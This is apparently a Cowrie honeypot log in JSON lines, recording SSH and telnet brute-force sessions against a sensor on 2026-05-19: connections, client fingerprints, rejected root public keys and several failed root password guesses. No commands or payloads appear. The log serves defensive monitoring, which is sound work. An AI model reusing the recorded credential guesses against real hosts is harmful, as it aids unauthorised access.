"curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.389594Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:60:68:ef:13:5c:6e:b8:ac:66:45:01:d7:c1:93:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0b7Nw00XpvZpxlEOSn0TiJ10EtQW2fkF/R0XWR4MGK0/SU6Lz9cjI9hnHxjuig1VKuH6yXLJbwRNjYqspF9o4+mSxGqB7XTfPSpZTIl9+/eT8qRXSalMCOpyRNQSScKZ6Dct+TdWtS/431B8dD0a+igXHz/XRmcckBBJfOlb1yPsVr3/0gt7jl4c18fz6j3c3pw7O0CPQe4gLlwXxVcVtvgas6/+4Y+sOmI5vduGJInQCcf3sdY92oJad/6gjvbZRtWkT3qvVd3jwvnankGS04aXbXEU5ynvQbKwpoVyyuj1bOWnJ2fzfID9qe4gnOOdRpiHtUJn96OXn+83vLTlew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:60:68:ef:13:5c:6e:b8:ac:66:45:01:d7:c1:93:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.808872Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:60:68:ef:13:5c:6e:b8:ac:66:45:01:d7:c1:93:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0b7Nw00XpvZpxlEOSn0TiJ10EtQW2fkF/R0XWR4MGK0/SU6Lz9cjI9hnHxjuig1VKuH6yXLJbwRNjYqspF9o4+mSxGqB7XTfPSpZTIl9+/eT8qRXSalMCOpyRNQSScKZ6Dct+TdWtS/431B8dD0a+igXHz/XRmcckBBJfOlb1yPsVr3/0gt7jl4c18fz6j3c3pw7O0CPQe4gLlwXxVcVtvgas6/+4Y+sOmI5vduGJInQCcf3sdY92oJad/6gjvbZRtWkT3qvVd3jwvnankGS04aXbXEU5ynvQbKwpoVyyuj1bOWnJ2fzfID9qe4gnOOdRpiHtUJn96OXn+83vLTlew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.817919Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:ca:e8:c4:a2:25:e8:09:af:b4:77:f4:23:9b:b7:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDciQY8jrPzSdau3f12JTFobl98xhlBXsZbiqA69tpoiM0lLYOTB9cfVdgAJmJr7kTQhKkN77ZkYSRJvqPDf9Rz41yJSnviTqaXAFC9G5A1FOC13GM5swVZALSa1MkVaReVa5831zclhx00oiCtq/5oJsIRnb7Crmu6xVC1PKe+f0k5wUvMbz790vIkOz9eMuZIcJSYXy48g0zhk7OviU3cgJjY7wHNV4s1+Hlf5T6k9hBThh06JhdmlLhFdmtPvfQLHOZm+kL92XsMH0z2iMthpSaiJdrUaIlH/E05OiNEIcUoMiw9isUeuYyI8wD/cLTNc0SMxl08VuIlFNwcR1D5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:ca:e8:c4:a2:25:e8:09:af:b4:77:f4:23:9b:b7:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.931041Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:ca:e8:c4:a2:25:e8:09:af:b4:77:f4:23:9b:b7:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDciQY8jrPzSdau3f12JTFobl98xhlBXsZbiqA69tpoiM0lLYOTB9cfVdgAJmJr7kTQhKkN77ZkYSRJvqPDf9Rz41yJSnviTqaXAFC9G5A1FOC13GM5swVZALSa1MkVaReVa5831zclhx00oiCtq/5oJsIRnb7Crmu6xVC1PKe+f0k5wUvMbz790vIkOz9eMuZIcJSYXy48g0zhk7OviU3cgJjY7wHNV4s1+Hlf5T6k9hBThh06JhdmlLhFdmtPvfQLHOZm+kL92XsMH0z2iMthpSaiJdrUaIlH/E05OiNEIcUoMiw9isUeuYyI8wD/cLTNc0SMxl08VuIlFNwcR1D5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.939353Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:ca:4b:9b:af:fc:13:f7:18:a5:dc:a1:52:8c:67:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8r532Dz6LvlSO1kS1N5rhV+kE+GWr39wTiRwszw5TORps6QxO0BfGjB6vtde0Iio9MK8gepwXZFumLxAWOQHSD+6p+zIEPS8U4yp7uCdkqkCE02QWpDAoVBbjs2xQYrHSEdSqny9uTgpSnUkqJaQUKalbzgfCHySiDtqkN7c2i4swLbgU1cqjSJxJWE13kcf6xhbQtqg7MbyfOIEPBUUJxBA87C0t2nWCVhOMsNwdU5BudVub+eTYnk7jZVjJfN4116AmC0Y6m//uBn8RJAoN83oSbjjfGiN+Iy1kqlH2DvpWqiD7oqGntC29Qtgho7Ti/W4ptjwAJuDuunnPCqgB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:ca:4b:9b:af:fc:13:f7:18:a5:dc:a1:52:8c:67:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.041040Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:ca:4b:9b:af:fc:13:f7:18:a5:dc:a1:52:8c:67:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8r532Dz6LvlSO1kS1N5rhV+kE+GWr39wTiRwszw5TORps6QxO0BfGjB6vtde0Iio9MK8gepwXZFumLxAWOQHSD+6p+zIEPS8U4yp7uCdkqkCE02QWpDAoVBbjs2xQYrHSEdSqny9uTgpSnUkqJaQUKalbzgfCHySiDtqkN7c2i4swLbgU1cqjSJxJWE13kcf6xhbQtqg7MbyfOIEPBUUJxBA87C0t2nWCVhOMsNwdU5BudVub+eTYnk7jZVjJfN4116AmC0Y6m//uBn8RJAoN83oSbjjfGiN+Iy1kqlH2DvpWqiD7oqGntC29Qtgho7Ti/W4ptjwAJuDuunnPCqgB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.046164Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:22:cc:0c:83:e3:8c:ba:a0:5f:db:e1:6b:35:3c:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApUuY5EtmA1yAmTh2BrN8Y3TqW7kL0palHIvXLHDwvCbHZ4vVLan0OwrQup/Da2td/vSNuvaZAGjmI4Y4b+sa3tQZ7uOTnVvlAOtzCv/mjtr8vCDQtgWeZlUlJPAfcVGsYFwv3EsjghVFCVXzGG9PGy3eQWc6C2lSLT24N1D0s7eBviBBpdV4LP6Ods1sYEiNiaRXq3fU+CbSINtu0WQqBbBZEIGdhd1bhenSI/Il0/z20qE1DjohuuLk8OWtAt8/YybOGRS/0mR+3zOflQ13iRvkcnvOUkI5R4N/zaA4B7LlWql8zKDmwTyND8vTMI7RLnguovMEbJuCKQLnStXjVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:22:cc:0c:83:e3:8c:ba:a0:5f:db:e1:6b:35:3c:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.134230Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:22:cc:0c:83:e3:8c:ba:a0:5f:db:e1:6b:35:3c:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApUuY5EtmA1yAmTh2BrN8Y3TqW7kL0palHIvXLHDwvCbHZ4vVLan0OwrQup/Da2td/vSNuvaZAGjmI4Y4b+sa3tQZ7uOTnVvlAOtzCv/mjtr8vCDQtgWeZlUlJPAfcVGsYFwv3EsjghVFCVXzGG9PGy3eQWc6C2lSLT24N1D0s7eBviBBpdV4LP6Ods1sYEiNiaRXq3fU+CbSINtu0WQqBbBZEIGdhd1bhenSI/Il0/z20qE1DjohuuLk8OWtAt8/YybOGRS/0mR+3zOflQ13iRvkcnvOUkI5R4N/zaA4B7LlWql8zKDmwTyND8vTMI7RLnguovMEbJuCKQLnStXjVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.141182Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:8a:97:17:e6:ee:de:72:92:ca:1c:ee:b2:1b:eb:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC13njevn2rOdr/yngf4z/oYxQItYwaJCN1q7rH0lBmJA2jhyI8xT+gkpfZozWHq+LDtm57p5ZKJEb48hVdPzxHCe2N8fy2hULJjCC0ORyJyQ+P7DxlQD/+lIQexSkQGOgwIZW5JY88TyM0r0QxFgDNAZxJUde7cq4XreZTmY//OW+FIhR+ynSh5CObDHdjBsatLo4vvJnIovVfqQ9gk00wXLEJvy7s8UgGBV9xSoLxBODn4kFLJsBemEqwBJ6jeePjt+4Tlqg4OOUvGSkcPohoTfJIJUNaqLoZRrhiyv3dAujN11M0DmXJ1kQBudZr4wuWTXPuXqOVt9qEAob2jC8pTV+1vbDqQ05+3LYAJ3b7dU0vZ43zQaiHQ/ipp/RlEydo1ZaXsLNMdeufeY1sLifWElddvXssTaB64mo0/YR5gZiJR2OJccRRmSj1/dpzkAhQ3azfgovd34uVChFkZUmXw6GCgetHivBvDtO4vIfCpPiKducSGq6oMbp7Ee7bA6k=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:8a:97:17:e6:ee:de:72:92:ca:1c:ee:b2:1b:eb:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.236397Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:8a:97:17:e6:ee:de:72:92:ca:1c:ee:b2:1b:eb:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC13njevn2rOdr/yngf4z/oYxQItYwaJCN1q7rH0lBmJA2jhyI8xT+gkpfZozWHq+LDtm57p5ZKJEb48hVdPzxHCe2N8fy2hULJjCC0ORyJyQ+P7DxlQD/+lIQexSkQGOgwIZW5JY88TyM0r0QxFgDNAZxJUde7cq4XreZTmY//OW+FIhR+ynSh5CObDHdjBsatLo4vvJnIovVfqQ9gk00wXLEJvy7s8UgGBV9xSoLxBODn4kFLJsBemEqwBJ6jeePjt+4Tlqg4OOUvGSkcPohoTfJIJUNaqLoZRrhiyv3dAujN11M0DmXJ1kQBudZr4wuWTXPuXqOVt9qEAob2jC8pTV+1vbDqQ05+3LYAJ3b7dU0vZ43zQaiHQ/ipp/RlEydo1ZaXsLNMdeufeY1sLifWElddvXssTaB64mo0/YR5gZiJR2OJccRRmSj1/dpzkAhQ3azfgovd34uVChFkZUmXw6GCgetHivBvDtO4vIfCpPiKducSGq6oMbp7Ee7bA6k=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.240370Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:04.330364Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.46127223968506,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:12.179355Z","src_ip":"192.119.13.58","session":"d5e7979e92f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":34192,"dst_ip":"10.17.0.5","dst_port":22,"session":"864446c3635a","protocol":"ssh","message":"New connection: 103.82.20.28:34192 (10.17.0.5:22) [session: 864446c3635a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.033201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.039077Z","src_ip":"103.82.20.28","session":"864446c3635a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48238,"dst_ip":"159.203.135.109","dst_port":22,"session":"09fb81690857","protocol":"ssh","message":"New connection: 51.250.105.222:48238 (159.203.135.109:22) [session: 09fb81690857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.267217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.273300Z","src_ip":"51.250.105.222","session":"09fb81690857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.316447Z","src_ip":"103.82.20.28","session":"864446c3635a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.403179Z","src_ip":"51.250.105.222","session":"09fb81690857","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.110.87.138","src_port":21404,"dst_ip":"10.17.0.5","dst_port":22,"session":"10705f3793e0","protocol":"ssh","message":"New connection: 89.110.87.138:21404 (10.17.0.5:22) [session: 10705f3793e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.695527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.701240Z","src_ip":"89.110.87.138","session":"10705f3793e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.798645Z","src_ip":"51.250.105.222","session":"09fb81690857","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:16.827679Z","src_ip":"89.110.87.138","session":"10705f3793e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc123456","message":"login attempt [root/zxc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:17.123207Z","src_ip":"103.82.20.28","session":"864446c3635a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2b3c4d","message":"login attempt [root/1a2b3c4d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:17.359899Z","src_ip":"89.110.87.138","session":"10705f3793e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:17.932477Z","src_ip":"51.250.105.222","session":"09fb81690857","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:18.393984Z","src_ip":"103.82.20.28","session":"864446c3635a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:18.489433Z","src_ip":"89.110.87.138","session":"10705f3793e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00244927406311,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:20.008619Z","src_ip":"186.195.16.41","session":"1c210d0a5c78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.0.104.39","src_port":32878,"dst_ip":"10.17.0.5","dst_port":22,"session":"e42cc32de1e9","protocol":"ssh","message":"New connection: 128.0.104.39:32878 (10.17.0.5:22) [session: e42cc32de1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:25.875667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:25.881209Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:26.031425Z","src_ip":"128.0.104.39","session":"e42cc32de1e9","protocol":"ssh"}
